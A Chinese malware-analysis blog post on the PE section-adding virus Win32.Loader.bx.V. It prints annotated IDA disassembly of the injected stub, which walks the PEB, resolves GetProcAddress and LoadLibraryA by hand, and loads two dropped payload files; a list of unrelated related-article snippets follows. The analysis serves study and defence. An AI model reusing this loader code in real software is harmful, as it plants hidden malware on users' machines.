一、病毒名称:Win32.Loader.bx.V

二、分析工具:IDA 5.5、OllyDebug、StudPE

三、PE文件加节感染病毒简介


PE病毒感染的方式比较多,也比较复杂也比较难分析,下面就针对PE文件感染之加节的方式进行汇编层次的深度分析,其实说来惭愧,第一接触这个病毒样本的时候也有

点手足无措,最后还是在别人的指导下才顺利的分析下来,开始分析该样本的时候,仅仅关注这个样本是木马病毒这个特点而忽略他的PE感染的特性。下面就该样本的传播方

式进行逐一分析,其实还蛮怀恋分析样本的那些时间。

四、对PE文件加节感染病毒的具体分析


对于被病毒感染的文件样本的分析,首先要查看被感染的样本文件的节的信息,截图如下:

因此对于该样本文件的分析,重点关注这个节:

跟进函数76F9601E 进行具体的分析:

回到了函数76F96000 中:

到这里.text8节的内容分析完毕,即将跳到.text节去执行。

对.text8节的代码的行为进行综述:

  • 首先通过f:[0]寄存器定位TEB的基址;
  • 在TEB的基址偏移30H处获取PEB结构的基址;
  • 在PEB的基址偏移CH处获取PEB_LDR_DATA结构指针;
  • 通过PEB_LDR_DATA结构指针在其偏移1CH处获取InInitializationOrderModuleList成员指针;
  • 对DLL双链表的解析获取获取kernel32.dll的基地址;
  • 对kernel32.dl这个PE文件进行解析,获取其导出表的相对虚拟地址;
  • 对kernel32.dl的导出表进行解析,查找到函数GetProcAddress的调用地址;
  • 调用函数GetProcAddress获取kernel32.dll中Loadlibrary函数的调用地址;
  • 调用Loadlibrary函数加载文件"C:\\ProgramFiles\\Common Files\\System\\kb067201.nls"和文件"C:\\WINDOWS\\system32\\MSCOMCQS.tsk"到内存中。
随机附上手动汇编分析:

.text8:76F96000 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text8:76F96000 public DllEntryPoint
.text8:76F96000 DllEntryPoint proc near
.text8:76F96000
.text8:76F96000 arg_4 = dword ptr 8
.text8:76F96000
.text8:76F96000 ; FUNCTION CHUNK AT .text8:76F9613C SIZE 00000011 BYTES
.text8:76F96000
.text8:76F96000 cmp [esp+arg_4], 1 ; 判断是否是 DLL_PROCESS_ATTACH
.text8:76F96005 jnz short loc_76F96014
.text8:76F96007 nop
.text8:76F96008 pusha ; 保存寄存器环境
.text8:76F96009 nop
.text8:76F9600A add edx, 0
.text8:76F9600D call sub_76F9601E ; 调用函数76F9601E
.text8:76F96012 nop ;
.text8:76F96012 ;
.text8:76F96012 ;
.text8:76F96012 ; 跳到地址76F96012的地方执行
.text8:76F96013 popa ; 恢复寄存器的环境
.text8:76F96014
.text8:76F96014 loc_76F96014: ; CODE XREF: DllEntryPoint+5j
.text8:76F96014 nop ; 调整堆栈
.text8:76F96015 add ebp, 0
.text8:76F96018 jmp loc_76F9613C ; 跳转到地址76F9613C的地方执行======== ; 调用函数76F9601E
.text8:76F9601E sub_76F9601E proc near ; CODE XREF: DllEntryPoint+Dp
.text8:76F9601E
.text8:76F9601E var_28 = dword ptr -28h
.text8:76F9601E var_24 = dword ptr -24h
.text8:76F9601E var_20 = dword ptr -20h
.text8:76F9601E var_18 = byte ptr -18h
.text8:76F9601E var_17 = byte ptr -17h
.text8:76F9601E var_16 = word ptr -16h
.text8:76F9601E var_14 = dword ptr -14h
.text8:76F9601E dwGetProcAddress= dword ptr -0Ch
.text8:76F9601E var_8 = dword ptr -8
.text8:76F9601E hInstanseKernel32= dword ptr -4
.text8:76F9601E
.text8:76F9601E push ebp
.text8:76F9601F mov ebp, esp
.text8:76F96021 sub esp, 38h
.text8:76F96024 push ebx
.text8:76F96025 xor eax, eax
.text8:76F96027 push esi
.text8:76F96028 push edi ; ;保存寄存器的环境
.text8:76F96029 mov [ebp+var_28], 'PteG'
.text8:76F96030 mov [ebp+var_24], 'Acor'
.text8:76F96037 mov [ebp+var_20], 'erdd'
.text8:76F9603E mov dword ptr [ebp-1Ch], 'ss'
.text8:76F96045 mov [ebp+hInstanseKernel32], eax ; 初始化hInstanseKernel32 = 0
.text8:76F96048 mov [ebp+var_8], eax
.text8:76F9604B pusha ;
.text8:76F9604B ;
.text8:76F9604B ;
.text8:76F9604C mov eax, large fs:30h ; 获取PEB结构的基址
.text8:76F96052 mov edx, [eax+0Ch] ; 获取PEB_LDR_DATA结构指针
.text8:76F96055 mov eax, [edx+1Ch] ; 获取InInitializationOrderModuleList成员指针
.text8:76F96058 mov eax, [eax] ; 获取双向链表当前节点的后继指针
.text8:76F9605A mov eax, [eax+8] ; 获取kernel32.dll的基地址
.text8:76F9605D mov [ebp+hInstanseKernel32], eax ; 保存kernel32.dll的基地址到局部变量hInstanceKernal32
.text8:76F96060 mov edx, eax ; EDX保存Kernel32的基址
.text8:76F96062 add eax, 21h
.text8:76F96065 add eax, 1Bh ; EAX+3C定位到Kernel32.dll文件的Dos头的最后一个字段
.text8:76F96065 ; 获取DOS头到PE头的距离
.text8:76F96068 mov eax, [eax] ; 保存DOS头到PE头的距离到EAX中
.text8:76F9606A lea eax, [eax+edx+78h] ; 定位到Kernel32文件的数据目录表的RVA地址
.text8:76F9606E mov eax, [eax] ; 获取导出表的Export Directory的RVA保存在EAX中
.text8:76F96070 mov ecx, [edx+eax+18h] ; 定位到导出表,获取导出表的Number of entries in ENT保存在ECX中
.text8:76F96074 mov ebx, [edx+eax+20h] ; 定位到导出表,获取该导出表的RVA of ENT (export name table)函数名称的RVA
.text8:76F96074 ; 保存在EBX中
.text8:76F96078 add ebx, edx ; 定位到Kernel32的导出表中的函数ENT表的VA的地址
.text8:76F9607A
.text8:76F9607A loc_76F9607A: ; CODE XREF: sub_76F9601E+7Ej
.text8:76F9607A dec ecx ; 函数名称表ENT中的函数的个数-1
.text8:76F9607B nop
.text8:76F9607C test ecx, ecx ; 判断是该导出表的ENT中的函数名称的个数是否为0,
.text8:76F9607C ; 即该导出表的函数是否都已经比较完
.text8:76F9607E nop
.text8:76F9607F jz short loc_76F960BC ; 导出表的函数与GetProcAddress比较完了,直接跳转;
.text8:76F9607F ; 否则继续比较查找
.text8:76F9607F ;
.text8:76F96081 lea edi, [ebp+var_28] ; 将字符串GetProcAddress的指针给EDI
.text8:76F96087 mov esi, [ebx+ecx*4] ; 获取导出表中的第ECX个函数的名称RVA保存在ESI中
.text8:76F9608A add esi, edx ; 获取导出表中的第ECX个函数的名称的VA保存在ESI中
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608A ;
.text8:76F9608C push ecx
.text8:76F9608D mov ecx, 0Eh ; ECX=0E
.text8:76F96092 inc ecx ; ECX=ECX+1=0Fh比较的字节数
.text8:76F96093 nop
.text8:76F96094 repe cmpsb ; 将导出表中的ESI指向的函数的名称与字符串GetProcAddress进行比较,
.text8:76F96094 ; 并且比较前15个字节
.text8:76F96096 nop
.text8:76F96097 test ecx, ecx ; 判断字符串比较的是否是15个字节
.text8:76F96099 pop ecx ; ECX为该导出表的ENT中的函数名称的个数-1
.text8:76F9609A push edx
.text8:76F9609B pop edx ; EDX保存Kernel32的基址
.text8:76F9609C jnz short loc_76F9607A ; 判断以上的字符串比较是否找到函数GetProcAddress,
.text8:76F9609C ; 没有找到继续比较,找到了继续执行
.text8:76F9609C ; 最终的ECX为函数GetProcAddress在导出表的序号
.text8:76F9609E nop
.text8:76F9609F nop
.text8:76F960A0 mov esi, [edx+eax+24h] ; 定位到该导出表的AddressOfNameOrdinals的RVA
.text8:76F960A4 add esi, edx ; 定位到该导出表的AddressOfNameOrdinals的VA
.text8:76F960A6 mov edi, ecx ; ECX保存的是函数GetProcAddress的在函数序号表的序号
.text8:76F960A8 movzx esi, word ptr [esi+edi*2] ; 获取函数GetProcAddress的函数表中序号
.text8:76F960AC mov edi, [edx+eax+1Ch] ; 获取导出表的RVA of EAT (export address table)即函数地址表的RVA
.text8:76F960B0 add edi, edx ; 获取导出表的VA of EAT (export address table)即函数地址表的VA
.text8:76F960B2 mov edi, [edi+esi*4] ; 获取函数GetProcAddress的RVA地址
.text8:76F960B5 add edi, edx ; 获取函数GetProcAddress的调用地址
.text8:76F960B7 mov [ebp+dwGetProcAddress], edi ; dwGetProcAddress保存函数GetProcAddress的调用地址
.text8:76F960BA jmp short loc_76F960C3 ; 直接跳转到地址76F960C3的地方执行
.text8:76F960BC ; ---------------------------------------------------------------------------
.text8:76F960BC
.text8:76F960BC loc_76F960BC: ; CODE XREF: sub_76F9601E+61j
.text8:76F960BC mov [ebp+dwGetProcAddress], 0
.text8:76F960C3
.text8:76F960C3 loc_76F960C3: ; CODE XREF: sub_76F9601E+9Cj
.text8:76F960C3 popa
.text8:76F960C4 mov ecx, [ebp+hInstanseKernel32]
.text8:76F960C7 xor edi, edi ; EDI=0
.text8:76F960C9 cmp ecx, edi ; 判断hInstanseKernel32保存的基址是否为0
.text8:76F960CB jz short loc_76F96133 ; 为0失败跳转,否则继续执行
.text8:76F960CB ;
.text8:76F960CB ;
.text8:76F960CD mov eax, [ebp+dwGetProcAddress]
.text8:76F960D0 cmp eax, edi ; 判断dwGetProcAddress保存的函数的地址是否为0
.text8:76F960D2 jz short loc_76F96133 ; 为0失败跳转,否则成功继续执行
.text8:76F960D2 ;
.text8:76F960D2 ;
.text8:76F960D2 ;
.text8:76F960D4 lea esi, [ebp+var_20] ; 将字符串LoadLibrary的指针给esi
.text8:76F960D7 push esi ; 传入参数2-字符串LoadLibrary的指针
.text8:76F960D8 push ecx ; 传入参数1--hInstanseKernel32即Kernel32的基址
.text8:76F960D9 mov byte ptr [ebp+var_20], 'L'
.text8:76F960DD mov byte ptr [ebp+var_20+1], 'o'
.text8:76F960E1 mov byte ptr [ebp+var_20+2], 'a'
.text8:76F960E5 mov word ptr [ebp+var_20+3], 'Ld'
.text8:76F960EB nop
.text8:76F960EC nop
.text8:76F960ED mov word ptr [ebp-1Bh], 'bi'
.text8:76F960F3 nop
.text8:76F960F4 nop
.text8:76F960F5 mov byte ptr [ebp-19h], 'r'
.text8:76F960F9 mov [ebp+var_18], 'a'
.text8:76F960FD mov [ebp+var_17], 'r'
.text8:76F96101 mov [ebp+var_16], 'Ay'
.text8:76F96107 nop
.text8:76F96108 mov [ebp+var_14], edi ; var_14=0
.text8:76F9610B call eax ; 调用函数kernel32.GetProcAddress获取LoadLibrary函数的调用地址
.text8:76F9610B ;
.text8:76F9610D push esp
.text8:76F9610E pop esp
.text8:76F9610F cmp eax, edi ; 判断返回值即LoadLibrary的函数地址是否为0
.text8:76F96111 jz short loc_76F96133 ; 为0失败跳转,成功继续执行
.text8:76F96111 ;
.text8:76F96111 ;
.text8:76F96111 ;
.text8:76F96113 mov edi, eax ; EAX保存的是LoadLibrary函数的地址,赋值给EDI
.text8:76F96115 call sub_76F9611B ; 调用函数76F9611B
.text8:76F9611A nop
.text8:76F9611A sub_76F9601E endp ; sp-analysis failed
.text8:76F9611A
.text8:76F9611B
.text8:76F9611B ; =============== S U B R O U T I N E =======================================
.text8:76F9611B
.text8:76F9611B
.text8:76F9611B sub_76F9611B proc near ; CODE XREF: sub_76F9601E+F7p
.text8:76F9611B pop ebx ; EBX为hInstanseKernel32即Kernel32的基址
.text8:76F9611C lea esi, [ebx+4Ah]
.text8:76F9611F nop
.text8:76F96120
.text8:76F96120 loc_76F96120: ; CODE XREF: sub_76F9611B+16j
.text8:76F96120 mov cl, [esi] ; CL为LoadLibrary加载的文件的个数
.text8:76F96122 test cl, cl ; 判断cl是否为0
.text8:76F96124 jz short loc_76F96133 ; 为0直接跳转到地址76F96133,否则继续执行
.text8:76F96124 ;
.text8:76F96124 ;
.text8:76F96126 lea edx, [esi+6] ; LoadLibrary加载的文件的名称字符串
.text8:76F96129 push edx ; 传入参数1-LoadLibrary加载的文件的名称字符串
.text8:76F9612A call edi ; 调用函数kernel32.LoadLibraryA加载文件
.text8:76F9612C nop
.text8:76F9612D add esi, 6Ah ; ESI=ESI+6A
.text8:76F96130 nop
.text8:76F96131 jmp short loc_76F96120
.text8:76F96133 ; ---------------------------------------------------------------------------
.text8:76F96133
.text8:76F96133 loc_76F96133: ; CODE XREF: sub_76F9601E+ADj
.text8:76F96133 ; sub_76F9601E+B4j ...
.text8:76F96133 pop edi
.text8:76F96134 pop esi ; 函数的返回的处理
.text8:76F96135 nop
.text8:76F96136 pop ebx
.text8:76F96137 mov esp, ebp
.text8:76F96139 pop ebp
.text8:76F9613A nop
.text8:76F9613B retn ; 返回到 76F96012的地址执行 (Win32.76F96012)

PE文件加节感染之Win32.Loader.bx.V病毒分析的更多相关文章

  1. PE文件附加数据感染之Worm.Win32.Agent.ayd病毒分析

    一.基本信息 样本名称:1q8JRgwDeGMofs.exe 病毒名称:Worm.Win32.Agent.ayd 文件大小:165384 字节 文件MD5:7EF5D0028997CB7DD3484A ...

  2. PE文件动态加载执行过程

    主要步骤: 1.将要加载的文件读取到内存中(简称为文内),检查文件格式无误后,根据可选PE头(简称op头)的SizeOfImage,申请出一块空间用于存储该文件加载到内存后展开的数据(简称为内内).记 ...

  3. PE文件结构部分解析以及输入的定位

    原文链接地址:http://www.cnblogs.com/shadow-lei/p/3554670.html PE文件定义 PE 文件("Portable executable" ...

  4. 手写PE文件(二)

    [文章标题]: 纯手工编写的PE可执行程序 [文章作者]: Kinney [作者邮箱]: mohen_ng@sina.cn [下载地址]: 自己搜索下载 [使用工具]: C32 [操作平台]: win ...

  5. 【学习】Windows PE文件学习(一:导出表)

    今天做了一个读取PE文件导出表的小程序,用来学习. 参考了<Windows PE权威指南>一书. 首先, PE文件的全称是Portable Executable,可移植的可执行的文件,常见 ...

  6. PE文件详解(六)

    这篇文章转载自小甲鱼的PE文件详解系列原文传送门 之前简单提了一下节表和数据目录表,那么他们有什么区别? 其实这些东西都是人为规定的,一个数据在文件中或者在内存中的位置基本是固定的,通过数据目录表进行 ...

  7. PE文件学习系列三-PE头详解

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入) Q  Q:408365330     E-Mail:egojit@qq.com 最近比较忙 ...

  8. PE可执行文件加载器

    PE文件加载器 模仿操作系统,加载pe文件到内存中 该项目主要是为了检测pe的学习程度,是否都完全理解了.当然没有完全理解 实现功能的如下: 模仿操作系统,加载pe文件到内存中,然后执行待执行的pe文 ...

  9. PE文件中的输入表

    前言 PE文件中的输入表含有三个重要结构IID,IDT,IAT.PE文件为需要加载的DLL文件创建一个IID结构,一个DLL与一个IID对应.IDT是输入名称表,IAT输入地址表,在没有绑定输入的情况 ...

随机推荐

  1. go http库 设置代理

    func ProxyTest() { proxyAddr := "http://your IP:8080/" httpUrl := "http://your target ...

  2. c++指针数组与二维数组的最大区别

    下面随笔是关于指针数组说明及与二维数组的最大区别. 指针数组 数组的元素是指针型 例 利用指针数组存放矩阵 1 #include 2 using namespace std; 3 int main() ...

  3. Jacobi与SOR迭代法的实现与性能比较及均匀间距与Chebyshev插值的实现、性能分析及二者生成的插值误差比较

    这篇文章给出(1)Jacobi与SOR迭代法的实现与性能比较及(2)均匀间距与Chebyshev插值的实现.性能分析及二者生成的插值误差比较,给出完整的实现代码,没有进行性能优化,仅供参考. (1)J ...

  4. 推荐一个能让谷歌浏览器变暗色的插件(darkreader)

    下载 https://codechina.csdn.net/mirrors/darkreader/darkreader?utm_source=csdn_github_accelerator 安装教程 ...

  5. 程序员必须搞懂的20个Java类库和API

    本文总结了日志.JSON解析.单测.XML解析.字节码处理.数据库连接池.集合类.邮件.加密.嵌入式SQL数据库.JDBC故障诊断以及序列化等20个方面的常用类库.都是你日常开发经常可能要用到的,现在 ...

  6. C# 通过ServiceStack 操作Redis——ZSet类型的使用及示例

    Sorted Sets是将 Set 中的元素增加了一个权重参数 score,使得集合中的元素能够按 score 进行有序排列 /// <summary> /// Sorted Sets是将 ...

  7. Envoy 部署类型

    目录 Envoy 网络拓扑及请求流程 1. 术语 2. 网络拓扑 3. 配置 4. 更高层的架构 5. 请求流程 1. Listener TCP 接收 2. 侦听器过滤器链和网络过滤器链匹配 3.TL ...

  8. 关于Handler同步屏障你可能不知道的问题

    前言 很高兴遇见你 ~ 关于handler的内容,基本每个android开发者都掌握了,网络中的优秀博客也非常多,我之前也写过一篇文章,读者感兴趣可以去看看:传送门. 这篇文章主要讲Handler中的 ...

  9. vue 项目集成 husky+commitlint+stylelint

    最近刚换了新工作,这两天也没有业务上的需求,做了一些前端工程化方面的东西.要在现有的项目中集成 husky+commitlint+stylelint,也不能对现有代码产生影响. 使用 lint 的目的 ...

  10. Java进阶专题(二十六) 将近2万字的Dubbo原理解析,彻底搞懂dubbo

    前言 ​ 前面我们研究了RPC的原理,市面上有很多基于RPC思想实现的框架,比如有Dubbo.今天就从Dubbo的SPI机制.服务注册与发现源码及网络通信过程去深入剖析下Dubbo. Dubbo架构 ...